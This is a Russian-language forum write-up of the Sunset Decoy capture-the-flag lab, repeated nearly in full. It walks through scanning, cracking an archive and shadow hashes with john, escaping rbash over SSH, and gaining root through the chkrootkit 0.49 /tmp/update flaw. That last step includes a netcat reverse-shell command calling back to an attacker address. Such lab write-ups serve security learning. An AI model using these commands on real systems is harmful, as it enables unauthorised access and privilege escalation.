Приветствую!
Как и обещал выкладываю свой врайтап по машине Offensive Secutity - Sunset Decoy. Я постараюсь максимально разжевать каждый шаг и в конечном счете прояснить почему получен ROOT! Забегая вперед скажу, что осилить бокс самостоятельно мне не удалось и как я теперь понимаю по причине не опытности исследователя, хотя должными знаниями я обладаю.
Sunset Decoy
На сайте OffSec представленна как уровень сложности Easy, но сам автор на vulhub оценивает ее как Easy/Intermediate. То есть что-то между легким и средним уровнем.
Я использовал образ VirtualBox, так как OffSec имеет ограничение по времени на соединение.
Итак давайте глядеть что за зверь...
После того как я развернул коробку, сканирую сеть с 24-й масокй на предмет поднятых хостов, чтоб определить адресс машины.
nmap -sn 192.168.1.1/24 (флаг -sn говорит о том, что мы просто пингуем каждый адрес на предмет жив/мертв)
Следующим шагом проводим стандартное сканирование на определение открытых портов, сервисов на них, версии ОС и по возможности запустим необходимые скрипты:
nmap -A -p- 192.168.1.123 -vv
На выходе получаем такую картинку:
Как видим тут нечего и заморачиваться, смело шагаем на HTTP. Там нас ждет архив.
Командой file save.zip убеждаемся что перед нами реально архив:
// Был у меня случай с одной машиной на TryHackMe, где я потерял час времени в попытке открыть *.db файл, а когда додумался его прогнать через file <filename> выяснилось что это читаемый файл в ASCII формате ... BIG fail //
Тянем его в себе:
Параллельно запускаю gobuster:
gobuster dir -u
Gobuster нечего не дал(
Тогда работаем пока с архивом. unzip save.zip и получаем защиту паролем. Воспользуюсь zip2john для преобразования файла в хеш, чтоб потом скормить john'у.
zip2john save.zip > zip_hash.txt
И следом john --wordlist=../../../wordlists/rockyou.txt zip_hash.txt
// john --show <filename> - отображает предыдущую сессию. Так как я уже ломал архив, я воспользуюсь опцией show. //
Повторяем шаг с разархивированием и получаем содержимое:
Из содержимого просматриваем все, но и так понятно что нам интересны только passwd и shadow. Если по каким-то причинам вы не знаете что это за файлы (хотя я сомнемаюсь в этом), то поясню:
passwd - хранит информацию о всех пользователях сис-мы
shadow - хранит хеши паролей этих пользователей
Более детально вы можете почитать в сети, важно что имея эти два файла мы можем попытаться вскрыть пароли. Этот процесс делится на два этапа:
1. Провести так называемый unshadow - процесс объединения информации из двух файлов в один
2. Процесс взлома
Перед этим просмотрим оба файла на предмет сбора информации:
Файл passwd:
Из важной информации для нас, тут имена пользователей системы и их вол-во. Мы имеем:
1. root - супер пользователь
2. www-data - пользователь сайта
3. 296640a3b825115a47b68fc44501c828 - пользователь сис-мы (Мне вот очень любопытно что сподвигло автора создать юзера с таким неймом)
// ОБратите внимание на shell пользвателя сис-мы. я не обратил и это стало для меня первым подвисанием //
Файл shadow:
Имеем два хеша у root'а и 296640a3b825115a47b68fc44501c828
Давайте попробуем получить пароли. Я буду делать это john'ом, так как heshcat работает с GPU, а у меня слабая видео карта. Для того чтоб все прошло гладко, мне нужно узнать какой тип шифрования используется. Я могу сделать это с помощью сервиса hash analyzer:
Тип шифрования SHA512-Crypt
1. Unshadowing
unshadow passwd shadow > unshadowed.txt
2. Cracking
john --wordlist=../../../../wordlists/rockyou.txt --format=sha512crypt unshadowed.txt
// опция --format дает возможность задать тип шифрования //
Напрягаем процессор и терпеливо ждем...
Чуть больше получаса на 2-х ядрах и я получаю пользователя.
Пробуем зайти через доступный ssh:
ssh 296640a3b825115a47b68fc44501c828@192.168.1.123
Ура мы в системе!!! Стандартный ls -la и видим:
ФЛАГГГГ!!!!
cat user.txt ии...
less user.txt ...
WTF!!!!
vim .. nano... python..
И вот тут я понял, что я не понимаю что происходит. Немного поругался и сел гуглить. Вообщем чтоб не засрать все скринами поясню, rbash это оболочка с ограничениями и используется админами сис-мы для препятствования угрозам. То есть создали юзера, дали ему ровно столько сколько нужно, ограничили его домашним каталогом и все.
Дальше час времени ушел на то, чтоб понять как это можно обойти. Вариантов в сети масса, вы можете ознакомится с ними самомтоятельно. В моем случае помогла смена сессии ssh с дополнительными опциями.
Выхожу и сново пытаюсь войти:
ssh -t 296640a3b825115a47b68fc44501c828@192.168.1.123 “bash”
// Флаг -t -Принудительное выделение псевдотерминала. Это можно использовать для выполнения
произвольных экранных программ на удаленном компьютере //
Входим и получаем bash в качестве оболочки. cat user.txt ...
Что за хрень творится???? Еще 15 минут поругался и снова гуглить. Вся эта ситуация дала возможность прочувствовать себя безпомощьным и очень тупым. Я не учил такого... Я вообще не знал что такое может быть. Вообщем выругался от души, закурил трубку и думаю. Если команда не найдена, значит ли это, что ее нет вообще? конечно же нет. Кто в здавом уме будет все грохать. Поэтому я решил обратиться напрямую через полный путь.
И я беру флаг пользователя. Уже позже, поработав над машиной, я нашел иной способ решения.
Смотрим $PATH : echo $PATH
Ага, вот где трабл... Я ограничен домашним каталогом. Переназначим переменую $PATH:
Теперь команды работают нормально. Фух... юзер взят! Время повышения прав.
Повышение прав может быть горизонтальным и вертикальным:
1. Горизонтальное повышение - это когда мы имеем юзера и стараемся взять другого с более высокими правами или входящего в группу с более высокими правами.
2. Вертикальное повышение - это когда мы имея юзера сразу пытаемся выйти на root
В нашем случае будет вертикальное повышение прав.
1. Сразу проверяем можем ли мы использовать команду sudo
sudo -l - покажет что мы вообще можем запускать от имени root
И так варианты в sudo отпадают.
2. Проверяем на уязвимость /etc/passwd и /etc/shadow, возможно удастся создать нового root'а:
ls -l /etc/passwd : -rw-r--r-- 1 root root 1807 Jun 27 2020 /etc/passwd
ls -l /etc/shadow : -rw-r----- 1 root shadow 1111 Jul 7 2020 /etc/shadow
И для записи нечего не открыто.
3. Смотрим cron:
cat /etc/crontab
Топаем смотреть директории /etc/cron.*:
И снова нечего интересного... Ок, попробуем найти уязвимость SUID/SGID file execution.
4. SUID/SGID
SUID/SGID file execution - это уязвимости связанные с возможностью запуска файла или сервиса от имени владельца.
Это полная команда поиска всех suid/sgid файлов:
// Я специально не разбираю ее, оставив вам возможность для самостоятельного разбора (Не поленитесь!)//
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Чтобы понять как и что можно использовать, отправляю вас на gtfobins.github.io
Работа с файлами sgid/suid относится к так называемой технике Shell Escaping, когда мы через программу запущенную от имени другого пользователя, пытаемся получить его оболочку. В данной машине эта техника не применяется!
5. И так я исчерпал все быстрые методы (мне известные) и пришло время для исследования системы...
Из домашнего каталога пользователя:
ls -la
Тут сразу отмечаю себе все что заинтересовало:
• .bash_history - обязательно смотрим на предмет ошибки пользователя в синтаксисе команды при регистрации или подключении к чему нибуть
• honeypot.decoy - файл принадлежащий root с возможностью исполнения другими пользователями
• honeypot.decoy.cpp - по всей видимости исходник, но закрыт для чтения
• SV-502 - директория
На этой машине нечего не найдено, но все же стоит пояснить для тех кто не знаком. В этом файле хранится информации о введеных пользователем командах. Допустим юзер подключается к ssh:
1. ssh username@IP
2. input password
3. connection
Так как при вводе пароля у нас есть эхо и мы не видим что вводем, то история этого сохранить не может. Но если юзер допустит ошибку в синтаксисе, например:
ssh usernameIP - пропустил @ и на автомате не смотря в экран вбивает пароль, в истории оболочки это будет выглядеть так:
• ssh usernameIP
• какая-то ошибка
• password1234
• какая-то ошибка
И вуаля мы можем получить пароль... Но как я и сказал тут этого нет. Едем дальше
Тут заинтересовал пункт 7 “Оставить заметку”, жму и вижу:
Запустился vim !
Вау... А я же понимаю, что если владельцем honeypot.decoy есть root, то и все что будет выполнено ханипотом должно быть выполнено от root. И я делаю вывод что vim запущен от рута!!! Применяю технику escaping shell:
:!sh ииии...
НИЧЕГО! Я юзер... Ну да, глупо. Я же не запускаю ханипот от рута, с фига ли ему запускать vim с правами супер-юзера... Ха. глупость...
ls -la
Директория logs, владелец root. Топаю туда:
cd logs/
cat log.txt
Угу... лог утилиты по отслеживанию процессов, листаю, читаю...
Из примечательного только это. Видим что был распакован некий chkrootkit-0.49.
Само название заставляет идти в гугл
Вот что я усвоил за 3 месяца обучения, так это то, что если ты нарыл какой-то софт, иди на exploit-db ))
Супер, теперь есть понимание как тут берется root. Читаем
Отлично, прекрасный мануал. Все понятно осталось дело за малым (Это я так думал!)
1. Стряпаем файл update
Что мы туда положем? Конечно reverse shell
echo “/usr/bin/nc 192.168.1.6 1234 -e /bin/sh” > update (Вы ведь помните что мы ограничены в системе?)
Копируем его как указано в /tmp (not mounted..), тоесть не должно быть слеша после /tmp
2. Запускаем chkrootkit (c uid 0 - он же рут)
И вот тот момент на котором я завис... Ок, где этот chkrootkit
И все, после 2 часов раздумий, я понял что у меня нет идей как решить задачу((( Ну что, пойдем смотреть врайтап. Как минимум чему-то научусь (я так думал!!!)
А вот теперь начинается самое интересное в этой машине и врайтапах!
Врайтап 1:
Ок, человек пишет что chkrootkit запускается автоматически и нам нужно лишь создать листенера у себя.
nc -lvnp 1234 и ждем-с... Правда я то помню что у cron задачь не было, но ладно ждам-с...
Вообщем пока я занимался своими делами, прошло около 25-30 минут. Прихожу и вижу вот это:
Не работает((( А человек пишет что работает. Ок, пойдем читать другой врайтап
Врайтап 2:
Тут вот совсем иной подход. Типо как все делается через ханипот. Я вообщем не растерялся и пошол гуглить на предмет honeypot'а.
Как оказалось это средство безопастности от хакеров, переаодится как Боченок меда) И тут меня осенило, блин мед сладкий.. ну типо намек иди сюда и работай вот с этим... Хахаха, не осмотрительно вышло...
Но у меня все равно есть вопросы к этому товарищу:
1. Почему мы тыцаем пункт 5 ? Ну как бы должна же быть причина
2. Почему мы запускаем pspy? Я то понимаю что отслеживать процессы будем, но для чего это вообще нам?
Ок, врайтап мягко говоря шлак, погляжу другой. Я ведь хочу понять что происходит.
Врайтап 3:
Этот товарищь вообще блин экстрасенс...
** Something got my interest at this point. Chrootkit could be the way. To be sure, I’ve runned pspy on the machine got result as photo .
Мда? Ну ок, давай и я запущу pspy
Идем сюда wildkindcc/Exploitation
Тянем к себе (Я кстати взял инструмент на вооружение) и настраиваем вэб сервер
1. У себя: python3 -m http.server 8000
2. На жертве
Как и обычно делаем файл исполняемым командой chmod +x pspy64 и запускаем ./pspy64
И я вижу что запущен cron который выполняет script.sh. Попробую заглянуть
cd /root : bash: cd: /root/: Permission denied
Чего в принципе и стоило ожидать. Но я не вижу исполнения chkrootkit. Кстати теперь стало понятно почему я его не смог найти, он в папке /root и доступа к ней нет.
Снова читаю этот врайтап...
Что за хрень происходит? Как ты это сделал?
Ну как вы поняли я снов погнал искать врайтап... Я не буду засорять этот пост всякой хренью, скажу лишь то, что прочитал я порядка 10 врайтапов и не в одном я не нашел реального пояснения почему это работает!!! Вы легко можете это посмотреть сами )))
TRY HARDER!!!!
Я решил забить на всю эту ересь которую несут. У меня сложилось впечатление что люди и не проходили коробку самостоятельно. Уперлись, полезли почитали чужую не качественную работу. Что-то сделали и написали об этом. А понимания как не было так и нет. Должно быть стыдно!
Ок, вступаю в игру
Топаю к нашему боченку с медом))
1. Попробую отследить к чему обращается программа honenypot.decoy
Делается это командой strace
2. Пробую через file узнать что за файл
// ELF 64-bit //
Перед нами бинарник
Значит открою его через strings
strings - удаляет в выводе все нечитаемое и оставляет только читаемое
И так перед нами содержимое:
• Меню
• И команды для исполнения (сравните пункт меню с командой, все очевидно)
/usr/bin/date , /usr/bin/cal , Shutdown, Rebooiing не интересно...
А вот что-то требующее внимания:
/usr/bin/touch /dev/shm/STTY5246
The AV Scan will be launched in a minute or less.
Видим обращение к /usr/bin/touch - создание файла
/dev/shm/STTY5246 - Имя и деректория этого файла
НАПОМИНАЮ!!! Мы мурыжим второй пункт указаный в эксплуатации уязвимости указаной на exploit-db
// А то уже наверное потерялись))) //
Ок, я иду в директорию в которой создается файл STTY5246
cd /dev/shm - это хранилище использует оперативную память. То есть не хранит на HDD(SDD) а в операционой памяти.
ПУСТО!!!!
Хорошо, для удобства я открою вторую сессию ssh, чтоб поглядеть создастся ли файл и каким он будет
Файл создан и он пустой. И что дальше ???
ВНИМАНИЕ!!! Запускаем pspy64 для мониторинга процессов
Вот такая жесть происходит в процессах... chkrootkit запускается постоянно. Хммм!!!!
Пора поставить листенера
Вот он заветный)))
Хорошо, коробка пройдена хоть и не без помощи Теперь пришла пора разобраться что же тут происходило и почему все заработало.
Так как у нас есть рут, мы можем посмотреть то, чего раньше не могли.
РЕЗЮМЕ
Давайте вспомним что нам нужно было сделать для эксплуатации уязвимости chkrootkit
1. Мы должны были создать исполняемый файл update и разместить его в директории /tmp
2. Запустить chkrootkit от имени root
С первым пунктом проблем не возникло, а вот дальше жесть жестокая.
Давайте уже под рутом посмотрим исходный код нашего ханипота.
В принципе нечего что мы не знали раньше.
Ок, у нас есть cron который запускал script.sh
Разбираемся
FILE=/dev/shm/STTY5246 - задаем переменную $FILE
if test -f “$FILE”; - test -f выполняет проверку на наличие файла.
Получается такая логика:
Если файл STTY5246 существует, то запустить chkrootkit, если нет, то выдать сообщение. Вот такая вот подколка. Не важно пустой он или нет, важно чтоб он был с таким именем и в конкретной директории!
Выводы
Чему мы научились на этой коробке?
1. Базовые принципы дешифрования файлов
2. Обход ограничений в оболочке
3. Научились мониторить запущенные сервисы
4. Смогли разобраться в логике приложения
5. Поняли что врайтапы бываю разные и крайне важно разобраться как все устроено, даже если заветный root получен
Вообщем до этой машины я брал боксы на TryHackMe и HackMyVM, нечего подобного проходить не приходилось. Это вот совсем не тот Easy level к которому привык. Машина реально приближена к реальности, все что я учил идеально ложиться на нее. Жаль конечно что сдался рано, реально имел знания и навыки чтоб финишировать ее самостоятельно. Но пусть это будет уроком для меня)))
Вопрос
Кто опытней скажите, почему я не увидел задания cron на исполнение script.sh? Ведь все вроде переглядел, а тут бац и cron задача. Что я упускаю или чего пока не знаю?
Спасибо!!!
Как и обещал выкладываю свой врайтап по машине Offensive Secutity - Sunset Decoy. Я постараюсь максимально разжевать каждый шаг и в конечном счете прояснить почему получен ROOT! Забегая вперед скажу, что осилить бокс самостоятельно мне не удалось и как я теперь понимаю по причине не опытности исследователя, хотя должными знаниями я обладаю.
Sunset Decoy
На сайте OffSec представленна как уровень сложности Easy, но сам автор на vulhub оценивает ее как Easy/Intermediate. То есть что-то между легким и средним уровнем.
Я использовал образ VirtualBox, так как OffSec имеет ограничение по времени на соединение.
Итак давайте глядеть что за зверь...
После того как я развернул коробку, сканирую сеть с 24-й масокй на предмет поднятых хостов, чтоб определить адресс машины.
nmap -sn 192.168.1.1/24 (флаг -sn говорит о том, что мы просто пингуем каждый адрес на предмет жив/мертв)
Следующим шагом проводим стандартное сканирование на определение открытых портов, сервисов на них, версии ОС и по возможности запустим необходимые скрипты:
nmap -A -p- 192.168.1.123 -vv
На выходе получаем такую картинку:
Как видим тут нечего и заморачиваться, смело шагаем на HTTP. Там нас ждет архив.
Командой file save.zip убеждаемся что перед нами реально архив:
// Был у меня случай с одной машиной на TryHackMe, где я потерял час времени в попытке открыть *.db файл, а когда додумался его прогнать через file <filename> выяснилось что это читаемый файл в ASCII формате ... BIG fail //
Тянем его в себе:
Параллельно запускаю gobuster:
gobuster dir -u
Ссылка скрыта от гостей
-w wordlists/dir/directory-list-2.3-medium.txt -t 60Gobuster нечего не дал(
Тогда работаем пока с архивом. unzip save.zip и получаем защиту паролем. Воспользуюсь zip2john для преобразования файла в хеш, чтоб потом скормить john'у.
zip2john save.zip > zip_hash.txt
И следом john --wordlist=../../../wordlists/rockyou.txt zip_hash.txt
// john --show <filename> - отображает предыдущую сессию. Так как я уже ломал архив, я воспользуюсь опцией show. //
Повторяем шаг с разархивированием и получаем содержимое:
Из содержимого просматриваем все, но и так понятно что нам интересны только passwd и shadow. Если по каким-то причинам вы не знаете что это за файлы (хотя я сомнемаюсь в этом), то поясню:
passwd - хранит информацию о всех пользователях сис-мы
shadow - хранит хеши паролей этих пользователей
Более детально вы можете почитать в сети, важно что имея эти два файла мы можем попытаться вскрыть пароли. Этот процесс делится на два этапа:
1. Провести так называемый unshadow - процесс объединения информации из двух файлов в один
2. Процесс взлома
Перед этим просмотрим оба файла на предмет сбора информации:
Файл passwd:
Из важной информации для нас, тут имена пользователей системы и их вол-во. Мы имеем:
1. root - супер пользователь
2. www-data - пользователь сайта
3. 296640a3b825115a47b68fc44501c828 - пользователь сис-мы (Мне вот очень любопытно что сподвигло автора создать юзера с таким неймом)
// ОБратите внимание на shell пользвателя сис-мы. я не обратил и это стало для меня первым подвисанием //
Файл shadow:
Имеем два хеша у root'а и 296640a3b825115a47b68fc44501c828
Давайте попробуем получить пароли. Я буду делать это john'ом, так как heshcat работает с GPU, а у меня слабая видео карта. Для того чтоб все прошло гладко, мне нужно узнать какой тип шифрования используется. Я могу сделать это с помощью сервиса hash analyzer:
Тип шифрования SHA512-Crypt
1. Unshadowing
unshadow passwd shadow > unshadowed.txt
2. Cracking
john --wordlist=../../../../wordlists/rockyou.txt --format=sha512crypt unshadowed.txt
// опция --format дает возможность задать тип шифрования //
Напрягаем процессор и терпеливо ждем...
Чуть больше получаса на 2-х ядрах и я получаю пользователя.
Пробуем зайти через доступный ssh:
ssh 296640a3b825115a47b68fc44501c828@192.168.1.123
Ура мы в системе!!! Стандартный ls -la и видим:
ФЛАГГГГ!!!!
cat user.txt ии...
less user.txt ...
WTF!!!!
vim .. nano... python..
И вот тут я понял, что я не понимаю что происходит. Немного поругался и сел гуглить. Вообщем чтоб не засрать все скринами поясню, rbash это оболочка с ограничениями и используется админами сис-мы для препятствования угрозам. То есть создали юзера, дали ему ровно столько сколько нужно, ограничили его домашним каталогом и все.
Дальше час времени ушел на то, чтоб понять как это можно обойти. Вариантов в сети масса, вы можете ознакомится с ними самомтоятельно. В моем случае помогла смена сессии ssh с дополнительными опциями.
Выхожу и сново пытаюсь войти:
ssh -t 296640a3b825115a47b68fc44501c828@192.168.1.123 “bash”
// Флаг -t -Принудительное выделение псевдотерминала. Это можно использовать для выполнения
произвольных экранных программ на удаленном компьютере //
Входим и получаем bash в качестве оболочки. cat user.txt ...
Что за хрень творится???? Еще 15 минут поругался и снова гуглить. Вся эта ситуация дала возможность прочувствовать себя безпомощьным и очень тупым. Я не учил такого... Я вообще не знал что такое может быть. Вообщем выругался от души, закурил трубку и думаю. Если команда не найдена, значит ли это, что ее нет вообще? конечно же нет. Кто в здавом уме будет все грохать. Поэтому я решил обратиться напрямую через полный путь.
И я беру флаг пользователя. Уже позже, поработав над машиной, я нашел иной способ решения.
Смотрим $PATH : echo $PATH
Ага, вот где трабл... Я ограничен домашним каталогом. Переназначим переменую $PATH:
Теперь команды работают нормально. Фух... юзер взят! Время повышения прав.
Повышение прав может быть горизонтальным и вертикальным:
1. Горизонтальное повышение - это когда мы имеем юзера и стараемся взять другого с более высокими правами или входящего в группу с более высокими правами.
2. Вертикальное повышение - это когда мы имея юзера сразу пытаемся выйти на root
В нашем случае будет вертикальное повышение прав.
1. Сразу проверяем можем ли мы использовать команду sudo
sudo -l - покажет что мы вообще можем запускать от имени root
И так варианты в sudo отпадают.
2. Проверяем на уязвимость /etc/passwd и /etc/shadow, возможно удастся создать нового root'а:
ls -l /etc/passwd : -rw-r--r-- 1 root root 1807 Jun 27 2020 /etc/passwd
ls -l /etc/shadow : -rw-r----- 1 root shadow 1111 Jul 7 2020 /etc/shadow
И для записи нечего не открыто.
3. Смотрим cron:
cat /etc/crontab
Топаем смотреть директории /etc/cron.*:
И снова нечего интересного... Ок, попробуем найти уязвимость SUID/SGID file execution.
4. SUID/SGID
SUID/SGID file execution - это уязвимости связанные с возможностью запуска файла или сервиса от имени владельца.
Это полная команда поиска всех suid/sgid файлов:
// Я специально не разбираю ее, оставив вам возможность для самостоятельного разбора (Не поленитесь!)//
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Чтобы понять как и что можно использовать, отправляю вас на gtfobins.github.io
Работа с файлами sgid/suid относится к так называемой технике Shell Escaping, когда мы через программу запущенную от имени другого пользователя, пытаемся получить его оболочку. В данной машине эта техника не применяется!
5. И так я исчерпал все быстрые методы (мне известные) и пришло время для исследования системы...
Из домашнего каталога пользователя:
ls -la
Тут сразу отмечаю себе все что заинтересовало:
• .bash_history - обязательно смотрим на предмет ошибки пользователя в синтаксисе команды при регистрации или подключении к чему нибуть
• honeypot.decoy - файл принадлежащий root с возможностью исполнения другими пользователями
• honeypot.decoy.cpp - по всей видимости исходник, но закрыт для чтения
• SV-502 - директория
.bash_history
На этой машине нечего не найдено, но все же стоит пояснить для тех кто не знаком. В этом файле хранится информации о введеных пользователем командах. Допустим юзер подключается к ssh:
1. ssh username@IP
2. input password
3. connection
Так как при вводе пароля у нас есть эхо и мы не видим что вводем, то история этого сохранить не может. Но если юзер допустит ошибку в синтаксисе, например:
ssh usernameIP - пропустил @ и на автомате не смотря в экран вбивает пароль, в истории оболочки это будет выглядеть так:
• ssh usernameIP
• какая-то ошибка
• password1234
• какая-то ошибка
И вуаля мы можем получить пароль... Но как я и сказал тут этого нет. Едем дальше
honeypot.decoy
Запускаю ./honeypot.decoy
Тут заинтересовал пункт 7 “Оставить заметку”, жму и вижу:
Запустился vim !
Вау... А я же понимаю, что если владельцем honeypot.decoy есть root, то и все что будет выполнено ханипотом должно быть выполнено от root. И я делаю вывод что vim запущен от рута!!! Применяю технику escaping shell:
:!sh ииии...
НИЧЕГО! Я юзер... Ну да, глупо. Я же не запускаю ханипот от рута, с фига ли ему запускать vim с правами супер-юзера... Ха. глупость...
SV-502 - директория
cd SV-502/ls -la
Директория logs, владелец root. Топаю туда:
cd logs/
cat log.txt
Угу... лог утилиты по отслеживанию процессов, листаю, читаю...
Из примечательного только это. Видим что был распакован некий chkrootkit-0.49.
Само название заставляет идти в гугл
Вот что я усвоил за 3 месяца обучения, так это то, что если ты нарыл какой-то софт, иди на exploit-db ))
Супер, теперь есть понимание как тут берется root. Читаем
Отлично, прекрасный мануал. Все понятно осталось дело за малым (Это я так думал!)
1. Стряпаем файл update
Что мы туда положем? Конечно reverse shell
echo “/usr/bin/nc 192.168.1.6 1234 -e /bin/sh” > update (Вы ведь помните что мы ограничены в системе?)
Копируем его как указано в /tmp (not mounted..), тоесть не должно быть слеша после /tmp
2. Запускаем chkrootkit (c uid 0 - он же рут)
И вот тот момент на котором я завис... Ок, где этот chkrootkit
И все, после 2 часов раздумий, я понял что у меня нет идей как решить задачу((( Ну что, пойдем смотреть врайтап. Как минимум чему-то научусь (я так думал!!!)
А вот теперь начинается самое интересное в этой машине и врайтапах!
Врайтап 1:
Ссылка скрыта от гостей
Ок, человек пишет что chkrootkit запускается автоматически и нам нужно лишь создать листенера у себя.
nc -lvnp 1234 и ждем-с... Правда я то помню что у cron задачь не было, но ладно ждам-с...
Вообщем пока я занимался своими делами, прошло около 25-30 минут. Прихожу и вижу вот это:
Не работает((( А человек пишет что работает. Ок, пойдем читать другой врайтап
Врайтап 2:
Ссылка скрыта от гостей
Тут вот совсем иной подход. Типо как все делается через ханипот. Я вообщем не растерялся и пошол гуглить на предмет honeypot'а.
Как оказалось это средство безопастности от хакеров, переаодится как Боченок меда) И тут меня осенило, блин мед сладкий.. ну типо намек иди сюда и работай вот с этим... Хахаха, не осмотрительно вышло...
Но у меня все равно есть вопросы к этому товарищу:
1. Почему мы тыцаем пункт 5 ? Ну как бы должна же быть причина
2. Почему мы запускаем pspy? Я то понимаю что отслеживать процессы будем, но для чего это вообще нам?
Ок, врайтап мягко говоря шлак, погляжу другой. Я ведь хочу понять что происходит.
Врайтап 3:
Этот товарищь вообще блин экстрасенс...
** Something got my interest at this point. Chrootkit could be the way. To be sure, I’ve runned pspy on the machine got result as photo .
Мда? Ну ок, давай и я запущу pspy
Идем сюда wildkindcc/Exploitation
Тянем к себе (Я кстати взял инструмент на вооружение) и настраиваем вэб сервер
1. У себя: python3 -m http.server 8000
2. На жертве
Ссылка скрыта от гостей
(так как версия ОС 64-х разрядная)
Как и обычно делаем файл исполняемым командой chmod +x pspy64 и запускаем ./pspy64
И я вижу что запущен cron который выполняет script.sh. Попробую заглянуть
cd /root : bash: cd: /root/: Permission denied
Чего в принципе и стоило ожидать. Но я не вижу исполнения chkrootkit. Кстати теперь стало понятно почему я его не смог найти, он в папке /root и доступа к ней нет.
Снова читаю этот врайтап...
Что за хрень происходит? Как ты это сделал?
Ну как вы поняли я снов погнал искать врайтап... Я не буду засорять этот пост всякой хренью, скажу лишь то, что прочитал я порядка 10 врайтапов и не в одном я не нашел реального пояснения почему это работает!!! Вы легко можете это посмотреть сами )))
TRY HARDER!!!!
Я решил забить на всю эту ересь которую несут. У меня сложилось впечатление что люди и не проходили коробку самостоятельно. Уперлись, полезли почитали чужую не качественную работу. Что-то сделали и написали об этом. А понимания как не было так и нет. Должно быть стыдно!
Ок, вступаю в игру
Топаю к нашему боченку с медом))
1. Попробую отследить к чему обращается программа honenypot.decoy
Делается это командой strace
2. Пробую через file узнать что за файл
// ELF 64-bit //
Перед нами бинарник
Значит открою его через strings
strings - удаляет в выводе все нечитаемое и оставляет только читаемое
И так перед нами содержимое:
• Меню
• И команды для исполнения (сравните пункт меню с командой, все очевидно)
/usr/bin/date , /usr/bin/cal , Shutdown, Rebooiing не интересно...
А вот что-то требующее внимания:
/usr/bin/touch /dev/shm/STTY5246
The AV Scan will be launched in a minute or less.
Видим обращение к /usr/bin/touch - создание файла
/dev/shm/STTY5246 - Имя и деректория этого файла
НАПОМИНАЮ!!! Мы мурыжим второй пункт указаный в эксплуатации уязвимости указаной на exploit-db
// А то уже наверное потерялись))) //
Ок, я иду в директорию в которой создается файл STTY5246
cd /dev/shm - это хранилище использует оперативную память. То есть не хранит на HDD(SDD) а в операционой памяти.
ПУСТО!!!!
Хорошо, для удобства я открою вторую сессию ssh, чтоб поглядеть создастся ли файл и каким он будет
Файл создан и он пустой. И что дальше ???
ВНИМАНИЕ!!! Запускаем pspy64 для мониторинга процессов
Вот такая жесть происходит в процессах... chkrootkit запускается постоянно. Хммм!!!!
Пора поставить листенера
Вот он заветный)))
Хорошо, коробка пройдена хоть и не без помощи Теперь пришла пора разобраться что же тут происходило и почему все заработало.
Так как у нас есть рут, мы можем посмотреть то, чего раньше не могли.
РЕЗЮМЕ
Давайте вспомним что нам нужно было сделать для эксплуатации уязвимости chkrootkit
1. Мы должны были создать исполняемый файл update и разместить его в директории /tmp
2. Запустить chkrootkit от имени root
С первым пунктом проблем не возникло, а вот дальше жесть жестокая.
Давайте уже под рутом посмотрим исходный код нашего ханипота.
В принципе нечего что мы не знали раньше.
Ок, у нас есть cron который запускал script.sh
Разбираемся
FILE=/dev/shm/STTY5246 - задаем переменную $FILE
if test -f “$FILE”; - test -f выполняет проверку на наличие файла.
Получается такая логика:
Если файл STTY5246 существует, то запустить chkrootkit, если нет, то выдать сообщение. Вот такая вот подколка. Не важно пустой он или нет, важно чтоб он был с таким именем и в конкретной директории!
Выводы
Чему мы научились на этой коробке?
1. Базовые принципы дешифрования файлов
2. Обход ограничений в оболочке
3. Научились мониторить запущенные сервисы
4. Смогли разобраться в логике приложения
5. Поняли что врайтапы бываю разные и крайне важно разобраться как все устроено, даже если заветный root получен
Вообщем до этой машины я брал боксы на TryHackMe и HackMyVM, нечего подобного проходить не приходилось. Это вот совсем не тот Easy level к которому привык. Машина реально приближена к реальности, все что я учил идеально ложиться на нее. Жаль конечно что сдался рано, реально имел знания и навыки чтоб финишировать ее самостоятельно. Но пусть это будет уроком для меня)))
Вопрос
Кто опытней скажите, почему я не увидел задания cron на исполнение script.sh? Ведь все вроде переглядел, а тут бац и cron задача. Что я упускаю или чего пока не знаю?
Спасибо!!!
Последнее редактирование:
